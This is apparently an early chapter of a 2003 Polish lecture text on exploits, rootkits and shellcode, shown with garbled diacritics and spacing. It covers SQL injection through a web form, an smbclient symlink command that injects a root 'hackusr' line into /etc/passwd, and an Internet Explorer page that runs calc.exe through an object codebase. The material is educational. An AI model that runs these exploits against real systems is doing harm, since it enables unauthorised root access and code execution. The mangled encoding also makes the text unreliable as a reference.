Exploity, DZIAŁ IT, Doc HACK
[ Pobierz całość w formacie PDF ]
Exploity,
Rootkity
iShellCode
BartªomiejRusiniak
Stycze«2003
Spistre±ci
1 Exploity 2
1.1 Bª¦dysemantyczne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
1.2 Bª¦dysystemowe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
1.2.1 Metodaprzepeªnieniastosu . . . . . . . . . . . . . . . . . . . . . 5
1.2.2 Metodaªa«cuchówformatuj¡cych . . . . . . . . . . . . . . . . . . 7
1.2.3 Jaksi¦ustrzecprzedwªamaniem! . . . . . . . . . . . . . . . . . . 9
2 Ukrywanie wsystemie 11
2.1 UkrywaniewsystemiezLKM . . . . . . . . . . . . . . . . . . . . . . . . 11
2.2 UkrywaniewsystemiebezLKM. . . . . . . . . . . . . . . . . . . . . . . 12
2.3 Rootkity . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14
3 Shell Code
15
Bibliograa
18
1
Rozdziaª 1
Exploity
Exploit
1
jestsekwencj¡czynno±cimaj¡cychnaceluwykorzystaniebª¦dówwopro-
gramowaniu systemów operacyjnych, usªug sieciowych lub aplikacji u»ytkownika do
"wªamania"(dost¦pudopowªokisystemowejzpodwy»szonymiuprawnieniamilubuzy-
skaniadanychdoktórychdost¦pjestograniczonylubzabroniony).
Niemauniwersalnegoexploita.Ichkonstrukcjaorazsposóbdziaªaniabezpo±rednio
zale»yod:
atakowanejaplikacji
systemuoperacyjnegonaktórymaplikacjajesturuchamiana(tak»ejegokongu-
racji)
architekturysprz¦towej
2
rodzajupopeªnionegobª¦du,któryb¦dziewykorzystanydoataku.
W zwi¡zku z tym wi¦kszo±¢ przykªadów tej prezentacji oparte b¦dzie o standardow¡
architektur¦Inteli386isystemLinux.
3
Ze wzgl¦du na bª¦dy wykorzystywane przez exploity mo»na przyj¡¢ ich umowny po-
dziaªnanast¦puj¡cerodzaje:
1. bª¦dysystemowe
2. bª¦dysemantyczne
Bª¦dysemantycznewynikaj¡zniedbalstwawprojektowaniulubte»ztzw.
backdoors
pozostawionychprzezprogramistów(np.celemdebugingu).Pozwalaj¡onena"wªama-
nie"bezodwoªywaniasi¦do
shellcode
ibezznajomo±citechnikprogramistycznych.
Bª¦dysystemowes¡zwi¡zanezimplementacj¡systemuicz¦stowymagaj¡dokªadnej
wiedzyzzakresuSO,protokoªówsieciowychiprogramowanianiskopoziomowego.Dotej
1
(zang.
wykorzystanie
).
2
Istniej¡ bª¦dy które mo»na wykorzysta¢ tylko na pewnej konkretnej architekturze. Sªynny bª¡d
Apachewewszystkichwersjachni»szychni»1.3.26,którypozwalaªuruchomi¢dowolnyzdalnyprogram
jedynienaniektórychprocesorach64bitowych
3
Omawianetechnikis¡podobnenaró»nychimplementacjachUnixspeªniaj¡cychstandardPOSIX
jednakró»ni¡si¦szczegóªamitechnicznymi
2
kategoriizaliczanes¡technikiprzepeªnieniastosu
(stackoverow)
,napisuformatuj¡cego
(formatstring)
iprzepeªnieniasterty
(heap overow)
.Dwiepierwszezostaªyomówione
wtejprezentacji.
1.1 Bª¦dysemantyczne
Bª¦dy semantyczne s¡maªointeresuj¡ce z punktu widzenia architektury systemów
operacyjnych,cz¦stobowiembazuj¡onenakonkretnejwersjiaplikacjiu»ytkowejiprze-
wa»nie s¡stosunkowo ªatwe dopoprawienia w kolejnych wersjach aplikacjiczy usªugi.
Bª¦dytegotypus¡bardzocz¦ste,alezwi¦kszo±ci¡znichniewi¡»esi¦powa»neniebez-
piecze«stwo.Jednocze±nieniemakonkretnejtechnikiwykrywaniatakichbª¦dów(mo»e
pozadekompilacj¡i»mudn¡analiz¡kodu).
Caªa seria bª¦dów semantycznych dotyczy obsªugi formularzy HTML wykorzysty-
wanych w portalach internetowych. W wi¦kszo±ci wynikaj¡ one z niedbalstwa (cz¦sto
spowodowanegonapi¦tymiterminamioddawaniaprojektówinformatycznych)lubbª¦d-
nychzaªo»e«projektowych.
Przykªademtakichlukmo»eby¢nast¦puj¡cyformularz:
Przykªad1.1.1
Przykªadformularzapozwalaj¡cegonawyszukiwanieproduktówjakiej±
rmypokodzie.
<html>
<script language="JavaScript">
function go()
{
if (document.szukaj.code.value.length>6)
alert(" Za dªug kod produktu");
else
document.szukaj.submit();
};
</script>
<body>
<form action="/servlet/Szukaj" name="szukaj">
<input type="text" name="code" size=6>
<a href="javascript:go()">Szukaj</a>
</form>
</body>
</html>
Przyjmimyjeszczenast¦puj¡cezaªo»enia
PolewewprowadzonejpostaciprzekazywanejestdoinstrukcjiSQLopostaciSE-
LECT*FROMPORDUKTYWHEREKOD=<code>
Portal nie kontroluje, czy przy przesyªaniu danych jest wykorzystywana metoda
GETczyPOST.
3
Mo»emywtedywprowadzi¢nast¦puj¡cyadres:
Oczywi±cieprzykªad1.1.1jestprostyiwpraktycetakietechnikis¡bardziejskompliko-
wane,jednak»ebardzocz¦stostosuj¡cpodobnesposobymo»nauzyska¢do±¢zaawanso-
waneefekty.
Innymprzykªademexploitazwi¡zanegozbª¦dnymizaªo»eniamiprojektowymimo»e
by¢bª¡dzpakietuSamba2.0.9:
Przykªad1.1.2
Post¦pujmywedªugnast¦puj¡cychkroków:
1. utwórzmymi¦kkiedowi¡zanienp.:ln-s/etc/passwd/tmp/passwd.log
2. wywoªajmypolecenie
smbclient //localhost/"'
n
n
hackusr::0::0:/bin/sh"' -n ../../../tmp/passwd
Wtensposóbutworzyli±mynowegou»ytkownikawsystemieologiniehackusr.
Korzystaj¡c z przykªadu 1.1.2 mo»na zmienia¢ ró»ne pliki konguracyjne do których
normalnie nie ma dost¦pu. Zwi¡zane to jest z tym, »e zasoby do jakich odwoªuje si¦
smbclient(
-n../../../tmp/passwd
)niebyªykontrolowane,alogibª¦dówbyªyzapisywane
bezpo±rednio w pliku nazywanym tak samo jak zasób (w nowych wersjach zostaªo to
poprawioneilogzostaniezapisanywplikuÿ.._.._.._tmp_pa.log").
Kolejnymprzykªadembª¦dupozostawionegoprzezprogramistówmo»eby¢np.:
Przykªad1.1.3
Przykªadbª¦duwMSIE(dziaªanp.:naIE6.0.2600doª¡czanymstan-
dardowodopakietuinstalacyjnegoWindowsXP)
<html>
<head>
<title>Running "c:/windows/system32/calc.exe"..</title>
<link rel="stylesheet" href="../sec.css">
</head>
<body>
Running "c:/windows/system32/calc.exe"..
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/windows/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
</body>
</html
4
[ Pobierz całość w formacie PDF ]